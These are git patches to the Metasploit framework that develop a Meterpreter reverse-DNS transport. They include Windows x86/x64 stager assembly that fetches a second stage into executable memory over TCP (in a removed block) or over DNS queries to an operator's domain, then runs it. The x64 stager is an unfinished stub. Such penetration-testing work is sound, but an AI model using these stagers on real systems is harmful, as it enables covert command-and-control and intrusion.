From 496f8e8401bac5869744de3811e207d701654e99 Mon Sep 17 00:00:00 2001 From: max3raza Date: Tue, 19 Sep 2017 09:07:53 +0000 Subject: [PATCH 01/15] small cleanup after merge --- lib/msf/core/handler/reverse_dns.rb | 2 +- lib/msf/core/payload/transport_config.rb | 28 ++++--------------- .../core/payload/windows/x64/reverse_dns.rb | 1 - lib/rex/payloads/meterpreter/config.rb | 2 +- lib/rex/post/meterpreter/packet.rb | 7 +++-- 5 files changed, 12 insertions(+), 28 deletions(-) diff --git a/lib/msf/core/handler/reverse_dns.rb b/lib/msf/core/handler/reverse_dns.rb index 51bcc0b77a24..e711a34ae20a 100644 --- a/lib/msf/core/handler/reverse_dns.rb +++ b/lib/msf/core/handler/reverse_dns.rb @@ -41,7 +41,7 @@ def initialize(info = {}) [ Opt::LPORT(4444), OptString.new('DOMAIN', [true, 'DOMAIN', '']), - OptString.new('SERVER_ID', [true, 'SERVER ID', 'pipiska']), + OptString.new('SERVER_ID', [true, 'SERVER ID', 'toor']), OptAddress.new('RHOST', [true, 'HANDLER BIND IP', '']), OptAddress.new('NS_IP', [false, 'NS SERVER IP', '']), ], Msf::Handler::ReverseDns) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 7c2be67a9b84..b3734c56cb5b 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -35,17 +35,13 @@ def transport_config_bind_tcp(opts={}) end def transport_config_reverse_dns(opts={}) + ds = opts[:datastore] || datastore { - scheme: 'dns', - lhost: datastore['DOMAIN'], - nhost: datastore['NS_IP'], - server_id: datastore['SERVER_ID'], - client_id: '0', - timeout: 20*60, - comm_timeout: 60*60, - retry_total: datastore['SessionRetryTotal'].to_i, - retry_wait: 20*60 - } + scheme: 'dns', + lhost: ds['DOMAIN'], + nhost: ds['NS_IP'], + server_id: ds['SERVER_ID'] + }.merge(timeout_config(opts)) end def transport_config_reverse_https(opts={}) @@ -57,18 +53,6 @@ def transport_config_reverse_https(opts={}) config end - def transport_config_reverse_dns(opts={}) - { - scheme: 'dns', - lhost: datastore['DOMAIN'], - nhost: datastore['NS_IP'], - timeout: 20*60, - comm_timeout: 20*60, - retry_total: datastore['SessionRetryTotal'].to_i, - retry_wait: datastore['SessionRetryWait'].to_i - } - end - def transport_config_reverse_http(opts={}) # most cases we'll have a URI already, but in case we don't # we should ask for a connect to happen given that this is diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index 5b7db6fceee5..c59162398df7 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -29,7 +29,6 @@ def generate(opts={}) ds = opts[:datastore] || datastore conf = { ns_server: ds['NS_SERVER'], - client_id: '0', server_id: ds['SERVER_ID'], domain: ds['DOMAIN'], retry_count: ds['ReverseConnectRetries'], diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 9d588552f4a9..71df4381c5b6 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -124,7 +124,7 @@ def transport_block(opts) pack << 'A*A*A*A*A*' elsif url.start_with?('dns') ns_server = to_str(opts[:nhost] || '', NS_NAME_SIZE) - server_id = to_str(opts[:server_id] || 'pipiska', 256) + server_id = to_str(opts[:server_id] || 'toor', 256) client_id = to_str('',2) transport_data << ns_server transport_data << client_id diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 2790f00294b3..8304c49b5b4e 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -103,14 +103,15 @@ module Meterpreter TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 -TLV_TYPE_TRANS_NSHOST = TLV_META_TYPE_STRING | 470 -TLV_TYPE_TRANS_CLIENT_ID = TLV_META_TYPE_STRING | 471 -TLV_TYPE_TRANS_SERVER_ID = TLV_META_TYPE_STRING | 472 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 +TLV_TYPE_TRANS_NSHOST = TLV_META_TYPE_STRING | 470 +TLV_TYPE_TRANS_CLIENT_ID = TLV_META_TYPE_STRING | 471 +TLV_TYPE_TRANS_SERVER_ID = TLV_META_TYPE_STRING | 472 + TLV_TYPE_RSA_PUB_KEY = TLV_META_TYPE_STRING | 550 TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551 TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552 From dbdbb43df03f50b283b4dd7008045266ce7aa544 Mon Sep 17 00:00:00 2001 From: max3raza Date: Tue, 19 Sep 2017 09:27:45 +0000 Subject: [PATCH 02/15] debug messahes cleanup --- lib/rex/post/meterpreter/client_core.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 262fdd26594f..3d06de410441 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -594,13 +594,11 @@ def migrate(target_pid, writable_dir = nil, opts = {}) end # Rex::Post::FileStat#writable? isn't available end - puts("migrate_stub ... ") + migrate_stub = generate_migrate_stub(target_process) - puts("migrate_payload") migrate_payload = generate_migrate_payload(target_process) # Build the migration request - puts("req: core_migrate") request = Packet.create_request('core_migrate') if client.platform == 'linux' @@ -632,9 +630,7 @@ def migrate(target_pid, writable_dir = nil, opts = {}) if target_process['arch'] == ARCH_X64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 - else - puts("7") request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end From 3546afd3f0084ad3d539e55a2847f050f536dc07 Mon Sep 17 00:00:00 2001 From: eik00d Date: Sat, 23 Sep 2017 17:06:59 +0100 Subject: [PATCH 03/15] Returning timeouts (almost) --- lib/msf/base/sessions/command_shell.rb | 2 +- lib/msf/base/sessions/meterpreter.rb | 2 +- lib/msf/core/opt.rb | 6 +- .../core/payload/windows/x64/reverse_dns.rb | 247 +++++------------- lib/rex/post/meterpreter/client.rb | 2 +- lib/rex/post/meterpreter/client_core.rb | 2 +- 6 files changed, 79 insertions(+), 182 deletions(-) diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index ebef6808f934..d37c712b074f 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -93,7 +93,7 @@ def shell_command(cmd) # Send the command to the session's stdin. shell_write(cmd + "\n") - timeo = 20*60 + timeo = 5 etime = ::Time.now.to_f + timeo buff = "" diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 2d04ea4659d7..fd520d74e5e7 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -261,7 +261,7 @@ def shell_command(cmd) # Keep reading data until no more data is available or the timeout is # reached. while (::Time.now.to_f < etime) - res = shell_readshell_read(-1, timeout) + res = shell_read(-1, timeout) break unless res timeout = etime - ::Time.now.to_f buff << res diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 6a1812cd62fa..cc73fce325cf 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -32,12 +32,12 @@ def self.LHOST(default=nil, required=true, desc="The listen address") end # @return [OptAddress] - def self.DOMAIN(default=nil, required=true, desc="The listen address") - Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) + def self.DOMAIN(default=nil, required=true, desc="Domain name") + Msf::OptString.new(__method__.to_s, [ required, desc, default ]) end # @return [OptAddress] - def self.NS_IP(default=nil, required=true, desc="The listen address") + def self.NS_IP(default=nil, required=true, desc="Name server adddress") Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) end diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index c59162398df7..2d6c6bee8071 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -29,8 +29,8 @@ def generate(opts={}) ds = opts[:datastore] || datastore conf = { ns_server: ds['NS_SERVER'], - server_id: ds['SERVER_ID'], domain: ds['DOMAIN'], + server_id: ds['SERVER_ID'], retry_count: ds['ReverseConnectRetries'], reliable: false } @@ -41,7 +41,7 @@ def generate(opts={}) conf[:reliable] = true end - generate_reverse_tcp(conf) + generate_reverse_dns(conf) end # @@ -53,23 +53,26 @@ def include_send_uuid end def transport_config(opts={}) - transport_config_reverse_tcp(opts) + transport_config_reverse_dns(opts) end # # Generate and compile the stager # - def generate_reverse_tcp(opts={}) + def generate_reverse_dns(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} + #{asm_functions_dns()} + start: - pop ebp - #{asm_reverse_tcp(opts)} - #{asm_block_recv(opts)} + pop rbp + #{asm_reverse_dns(opts)} + ^ - Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end # @@ -85,7 +88,7 @@ def required_space # Reliability adds some bytes! space += 44 - space += uuid_required_size if include_send_uuid + #space += uuid_required_size if include_send_uuid # The final estimated size space @@ -98,186 +101,80 @@ def required_space # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Integer] :retry_count Number of retry attempts # - def asm_reverse_tcp(opts={}) - - retry_count = [opts[:retry_count].to_i, 1].max - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first - encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first - + def asm_reverse_dns(opts={}) + + retry_count = [opts[:retry_count].to_i, 1000].max + domain = "#{opts[:server_id]}.#{opts[:domain]}" + ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first + domain_length= domain.length + 18 + + alloc_stack = (domain_length) + (4 - (domain_length %4)) + reliable = opts[:reliable] + asm = %Q^ - ; Input: EBP must be the address of 'api_call'. - ; Output: EDI will be the socket for the connection to the server - ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) - - reverse_tcp: - push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. - push 'ws2_' ; ... - push esp ; Push a pointer to the "ws2_32" string on the stack. - push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} - call ebp ; LoadLibraryA( "ws2_32" ) - - mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) - sub esp, eax ; alloc some space for the WSAData structure - push esp ; push a pointer to this stuct - push eax ; push the wVersionRequested parameter - push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} - call ebp ; WSAStartup( 0x0190, &WSAData ); - - set_address: - push #{retry_count} ; retry counter - - create_socket: - push #{encoded_host} ; host in little-endian format - push #{encoded_port} ; family AF_INET and port number - mov esi, esp ; save pointer to sockaddr struct - - push eax ; if we succeed, eax will be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - xchg edi, eax ; save the socket for later, don't care about the value of eax after this - - try_connect: - push 16 ; length of the sockaddr struct - push esi ; pointer to the sockaddr struct - push edi ; the socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} - call ebp ; connect( s, &sockaddr, 16 ); - - test eax,eax ; non-zero means a failure - jz connected - - handle_connect_failure: - ; decrement our attempt count and try again - dec dword [esi+8] - jnz try_connect + + ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + push 'pi' ; Push the bytes 'Dnsapi',0,0 onto the stack. + push 'Dnsa' ; ... + push esp ; Push a pointer to the "Dnsapi" string on the stack. + xor rbx, rbx + push rbx ; stack alignment + mov r14, 'Dnsapi' + push r14 ; Push 'Dnsapi',0 onto the stack + mov rcx, rsp ; lpFileName (stackpointer) + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "Dnsapi" ) + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + call get_eip + + get_eip: + pop rax + jmp start_code + + hostname: + db "7812.000g.0000.0.#{domain}", 0x00 + + ;;;;;;;;;;; INCREMENT DOMAIN + increment: + + ;;TODO + + start_code: + ;;;;;;;;; INIT VARS in stack + + ^ - if opts[:exitfunk] - asm << %Q^ - failure: - call exitfunk - ^ + if reliable + if opts[:exitfunk] + asm << %Q^ + exit_func: + ^ + asm << asm_exitfunk(opts) + else + asm << %Q^ + exit_func: + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + call ebp + ^ + end else asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp + exit_func: + ^ end - asm << %Q^ - ; this lable is required so that reconnect attempts include - ; the UUID stuff if required. - connected: - ^ - - asm << asm_send_uuid if include_send_uuid - asm end - - # - # Generate an assembly stub with the configured feature set and options. - # - # @option opts [Bool] :reliable Whether or not to enable error handling code - # - def asm_block_recv(opts={}) - reliable = opts[:reliable] + + + def asm_functions_dns() + asm = %Q^ - recv: - ; Receive the size of the incoming second stage... - push 0 ; flags - push 4 ; length = sizeof( DWORD ); - push esi ; the 4 byte buffer on the stack to hold the second stage length - push edi ; the saved socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - if reliable - asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect - ; if it fails - cmp eax, 0 - jle cleanup_socket - ^ - end - - asm << %Q^ - ; Alloc a RWX buffer for the second stage - mov esi, [esi] ; dereference the pointer to the second stage length - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; push the newly recieved second stage length. - push 0 ; NULL as we dont care where the allocation is. - push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - ; Receive the second stage and execute it... - xchg ebx, eax ; ebx = our new memory address for the new stage - push ebx ; push the address of the new stage so we can return into it - - read_more: - push 0 ; flags - push esi ; length - push ebx ; the current address into our second stage's RWX buffer - push edi ; the saved socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call ebp ; recv( s, buffer, length, 0 ); - ^ - - if reliable - asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect - ; if it fails - cmp eax, 0 - jge read_successful - - ; something failed, free up memory - pop eax ; get the address of the payload - push 0x4000 ; dwFreeType (MEM_DECOMMIT) - push 0 ; dwSize - push eax ; lpAddress - push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} - call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) - - cleanup_socket: - ; clear up the socket - push edi ; socket handle - push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} - call ebp ; closesocket(socket) - - ; restore the stack back to the connection retry count - pop esi - pop esi - dec [esp] ; decrement the counter - - ; try again - jmp create_socket - ^ - end - asm << %Q^ - read_successful: - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage ^ - - if opts[:exitfunk] - asm << asm_exitfunk(opts) - end - asm end end - -end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index f505ee6d8875..e17302e9d786 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -285,7 +285,7 @@ def generate_ssl_context # waiting for a response. # def Client.default_timeout - return 1200 + return 300 end ## diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 3d06de410441..65aecfea6347 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -642,7 +642,7 @@ def migrate(target_pid, writable_dir = nil, opts = {}) # Send the migration request. Timeout can be specified by the caller, or set to a min # of 60 seconds. - timeout = 20*60 #[(opts[:timeout] || 0), 60].max - TODO: uncomment once DNS is stable + timeout = [(opts[:timeout] || 0), 60].max response = client.send_request(request, timeout) # Post-migration the session doesn't have encryption any more. From eb87006c3c6d6608d9a776f6ab401c48c65e21e1 Mon Sep 17 00:00:00 2001 From: eik00d Date: Sun, 24 Sep 2017 20:29:06 +0100 Subject: [PATCH 04/15] Fixed x86 payload --- lib/msf/core/payload/windows/reverse_dns.rb | 4 +++- lib/rex/post/meterpreter/client_core.rb | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index fb7dacd03e5e..2cf9c1aa3f9b 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -405,7 +405,9 @@ def asm_reverse_dns(opts={}) got_everything: ;;;;;;;;;;;;;;;;;;;;;;;;; - jmp [esp + 0x24] + mov eax, [esp + 0x24] + add eax, 4 + jmp eax ;;;;;;;;;;;;;;;;;;;;;;;;; ^ diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 65aecfea6347..04ca6689f91d 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -161,7 +161,7 @@ def transport_list :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), - :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), + #:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), :nhost => t.get_tlv_value(TLV_TYPE_TRANS_NSHOST), :client_id => t.get_tlv_value(TLV_TYPE_TRANS_CLIENT_ID), :server_id => t.get_tlv_value(TLV_TYPE_TRANS_SERVER_ID) From ba784690349ec77cf2e7e3e6d180a1a5695ccaf3 Mon Sep 17 00:00:00 2001 From: eik00d Date: Sat, 7 Oct 2017 21:04:16 +0100 Subject: [PATCH 05/15] x64 --- lib/msf/core/payload/windows/reverse_dns.rb | 50 +++++------- .../core/payload/windows/x64/reverse_dns.rb | 81 ++++--------------- .../windows/x64/meterpreter_reverse_dns.rb | 2 +- .../{reverse_windns.rb => reverse_dns.rb} | 0 .../x64/{reverse_windns.rb => reverse_dns.rb} | 4 +- spec/modules/payloads_spec.rb | 32 ++++++++ 6 files changed, 71 insertions(+), 98 deletions(-) rename modules/payloads/stagers/windows/{reverse_windns.rb => reverse_dns.rb} (100%) rename modules/payloads/stagers/windows/x64/{reverse_windns.rb => reverse_dns.rb} (92%) diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index 2cf9c1aa3f9b..18dea1f7b3ff 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -18,7 +17,6 @@ module Payload::Windows::ReverseDns include Msf::Payload::TransportConfig include Msf::Payload::Windows - include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -44,13 +42,6 @@ def generate(opts={}) generate_reverse_dns(conf) end - # - # By default, we don't want to send the UUID, but we'll send - # for certain payloads if requested. - # - def include_send_uuid - false - end def transport_config(opts={}) transport_config_reverse_dns(opts) @@ -106,7 +97,7 @@ def asm_reverse_dns(opts={}) ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first domain_length= domain.length + 18 - alloc_stack = (domain_length) + (4 - (domain_length %4)) + alloc_stack = (domain_length) + (4 - (domain_length % 4)) reliable = opts[:reliable] asm = %Q^ @@ -166,7 +157,8 @@ def asm_reverse_dns(opts={}) pop ebp ret 8 ;;;;;;;;;;;;;;;;;;;;;;;;;;;; - + + ;;;;;;;;;;; CALL DNS call_dns: push ebp mov ebp, esp @@ -177,10 +169,10 @@ def asm_reverse_dns(opts={}) dns_loop: mov eax, [esp + 4] test eax, eax - je dns_loop_end ; out of tries 8( + je dns_loop_end ; out of tries 8( mov eax, [esp] test eax, eax - je dns_loop_end ; done, got result + je dns_loop_end ; done, got result push 0 mov eax, [ebp + 4] ; result push eax @@ -219,10 +211,10 @@ def asm_reverse_dns(opts={}) push eax ; pointer to RWX memory (for stage1) push eax ; size of stage1 push eax ; offset - push eax ; * pointer to DNS_RECORD(as result) + push eax ; * pointer to DNS_RECORD(as result) push eax - push eax ; * IP4_ARRAY[1] - push #{retry_count} ; * tries counter + push eax ; * IP4_ARRAY[1] + push #{retry_count} ; * tries counter ;;;;;;;;; main proc @@ -243,7 +235,7 @@ def asm_reverse_dns(opts={}) push eax ; DOMAIN pointer get_header: - dec [esp + 0x0c] ; load tries number + dec [esp + 0x0c] ; load tries number mov eax, [esp + 0x0c] ; decrement test eax, eax je exit_func @@ -260,18 +252,18 @@ def asm_reverse_dns(opts={}) je parse_end_b sub eax, 18h push eax - mov esi, esp ; pointer to DNS_RECORD + mov esi, esp ; pointer to DNS_RECORD mov [esi], eax ; ESI < -pointer to DNS_RECORD mov ebx, [esi] ; EBX < -current pointer mov edx, [ebx] mov [esi], edx ; save Next IP mov edx, ebx - add edx, 0x18 ; EDX < -IP pointer + add edx, 0x18 ; EDX < -IP pointer movzx ecx, byte ptr[edx + 1] ; header byte 1 - cmp cl, 0x81 ; If this is header flag + cmp cl, 0x81 ; If this is header flag jne parse_end_b movzx ecx, byte ptr[edx] - cmp cl, 0xfe ; check if fe have data flag in this header + cmp cl, 0xfe ; check if fe have data flag in this header jne parse_end_b get_size: @@ -330,30 +322,30 @@ def asm_reverse_dns(opts={}) add eax, 18h je parse_end_db sub eax, 18h - push eax ; ESI <-pointer to DNS_RECORD + push eax ; ESI <-pointer to DNS_RECORD mov eax, [esp + 0x20] - push eax ; save current offset + push eax ; save current offset ip_enum: mov eax, [esp+4] test eax, eax je copy_end - mov ebx, [eax] ; EBX <-current pointer + mov ebx, [eax] ; EBX <-current pointer mov [esp + 4], ebx ; save Next IP mov edx, eax - add edx, 0x18 ; EDX <-IP pointer + add edx, 0x18 ; EDX <-IP pointer xor eax, eax movzx ecx, byte ptr[edx + 1] ; header byte 1, size for IP mov al, cl and cl, 0x0f ; apply MASK to get size of data in that IP - cmp cl, 0x0e ; amount of bytes in that IP, should be 14 or less + cmp cl, 0x0e ; amount of bytes in that IP, should be 14 or less ja parse_end_db movzx ebx, byte ptr[edx] - cmp bl, 0xfe ; if FE, than index offset is 16 + cmp bl, 0xfe ; if FE, than index offset is 16 je index_16 - cmp bl, 0xff ; if FF, than index offset in AL reg + cmp bl, 0xff ; if FF, than index offset in AL reg je index_al jmp parse_end_db ; else - something wrong! @@ -367,7 +359,7 @@ def asm_reverse_dns(opts={}) imul eax, 0x0e copy_ip_as_data: - mov esi, edx ; src - IP addr + mov esi, edx ; src - IP addr add esi, 2 mov ebx, [esp] mov edi, [esp + 0x2c] diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index 2d6c6bee8071..aeb92a386b8d 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -10,7 +9,7 @@ module Msf ### # -# Complex reverse_tcp payload generation for Windows ARCH_x64 +# Complex reverse_dns payload generation for Windows ARCH_X64 # ### @@ -18,7 +17,6 @@ module Payload::Windows::ReverseDns_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows - include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -44,13 +42,6 @@ def generate(opts={}) generate_reverse_dns(conf) end - # - # By default, we don't want to send the UUID, but we'll send - # for certain payloads if requested. - # - def include_send_uuid - false - end def transport_config(opts={}) transport_config_reverse_dns(opts) @@ -88,8 +79,7 @@ def required_space # Reliability adds some bytes! space += 44 - #space += uuid_required_size if include_send_uuid - + # The final estimated size # The final estimated size space end @@ -97,8 +87,8 @@ def required_space # # Generate an assembly stub with the configured feature set and options. # - # @option opts [Integer] :port The port to connect to - # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :domain DOMAIN that wll be used for tunnel + # @option opts [String] :ns_server Optional: NS server, that will be used. # @option opts [Integer] :retry_count Number of retry attempts # def asm_reverse_dns(opts={}) @@ -108,61 +98,16 @@ def asm_reverse_dns(opts={}) ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first domain_length= domain.length + 18 - alloc_stack = (domain_length) + (4 - (domain_length %4)) + alloc_stack = (domain_length) + (4 - (domain_length % 4)) reliable = opts[:reliable] asm = %Q^ - - ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; - push 'pi' ; Push the bytes 'Dnsapi',0,0 onto the stack. - push 'Dnsa' ; ... - push esp ; Push a pointer to the "Dnsapi" string on the stack. - xor rbx, rbx - push rbx ; stack alignment - mov r14, 'Dnsapi' - push r14 ; Push 'Dnsapi',0 onto the stack - mov rcx, rsp ; lpFileName (stackpointer) - mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} - call rbp ; LoadLibraryA( "Dnsapi" ) - ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; - call get_eip - - get_eip: - pop rax - jmp start_code - - hostname: - db "7812.000g.0000.0.#{domain}", 0x00 - - ;;;;;;;;;;; INCREMENT DOMAIN - increment: - - ;;TODO - - start_code: - ;;;;;;;;; INIT VARS in stack - - - ^ + nop - if reliable - if opts[:exitfunk] - asm << %Q^ - exit_func: - ^ - asm << asm_exitfunk(opts) - else - asm << %Q^ - exit_func: - push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} - call ebp - ^ - end - else - asm << %Q^ - exit_func: - - ^ + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) end asm @@ -172,9 +117,13 @@ def asm_reverse_dns(opts={}) def asm_functions_dns() asm = %Q^ - + nop ^ + asm end + +end + end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb index 11e548e40abb..8aa546942257 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb @@ -57,7 +57,7 @@ def generate_config(opts={}) transports: [transport_config_reverse_dns(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), ext_init: (datastore['EXTINIT'] || ''), - stageless: true + stageless: true } # create the configuration instance based off the parameters diff --git a/modules/payloads/stagers/windows/reverse_windns.rb b/modules/payloads/stagers/windows/reverse_dns.rb similarity index 100% rename from modules/payloads/stagers/windows/reverse_windns.rb rename to modules/payloads/stagers/windows/reverse_dns.rb diff --git a/modules/payloads/stagers/windows/x64/reverse_windns.rb b/modules/payloads/stagers/windows/x64/reverse_dns.rb similarity index 92% rename from modules/payloads/stagers/windows/x64/reverse_windns.rb rename to modules/payloads/stagers/windows/x64/reverse_dns.rb index 9861dac42941..96e5ea8ba74b 100644 --- a/modules/payloads/stagers/windows/x64/reverse_windns.rb +++ b/modules/payloads/stagers/windows/x64/reverse_dns.rb @@ -8,7 +8,7 @@ module MetasploitModule - CachedSize = 339 + CachedSize = 684 include Msf::Payload::Stager include Msf::Payload::Windows @@ -18,7 +18,7 @@ def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Reverse DNS Stager', 'Description' => 'Tunnel communication over reverse DNS', - 'Author' => 'hdm', + 'Author' => 'Alexey Sintsov', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 66f2adc3f121..0a1b2e0bf177 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2839,6 +2839,17 @@ 